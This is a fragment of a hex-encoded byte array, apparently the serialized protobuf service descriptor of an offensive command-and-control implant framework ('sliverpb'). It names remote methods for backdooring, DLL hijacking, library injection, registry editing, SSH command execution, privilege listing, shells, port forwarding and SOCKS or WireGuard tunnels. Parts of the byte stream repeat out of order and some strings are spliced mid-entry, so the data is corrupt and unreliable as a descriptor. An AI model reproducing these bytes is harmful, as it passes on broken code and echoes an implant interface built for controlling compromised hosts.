0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f,
0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12,
0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52,
0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e,
0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f,
0x6f, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61,
0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a,
0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65,
0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74,
0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e,
0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48,
0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61,
0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65,
0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76,
0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e,
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50,
0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64,
0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74,
0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12,
0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71,
0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53,
0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61,
0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75,
0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c,
0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d,
0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d,
0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c,
0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48,
0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a,
0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71,
0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50,
0x72, 0x69, 0x76, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x4c, 0x69, 0x62, 0x49, 0x6e, 0x6a, 0x65, 0x63,
0x74, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x62,
0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x62, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x12, 0x3b,
0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50, 0x0a, 0x11, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c,
0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74,
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12,
0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74,
0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12,
0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f,
0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a,
0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57,
0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f,
0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73,
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77,
0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,
0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a,
0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e,
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69,
0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12,
0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74,
0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11,
0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47,
0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61,
0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74,
0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72,
0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12,
0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71,
0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74,
0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63,
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63,
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f,
0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01,
0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c,
0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07,
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
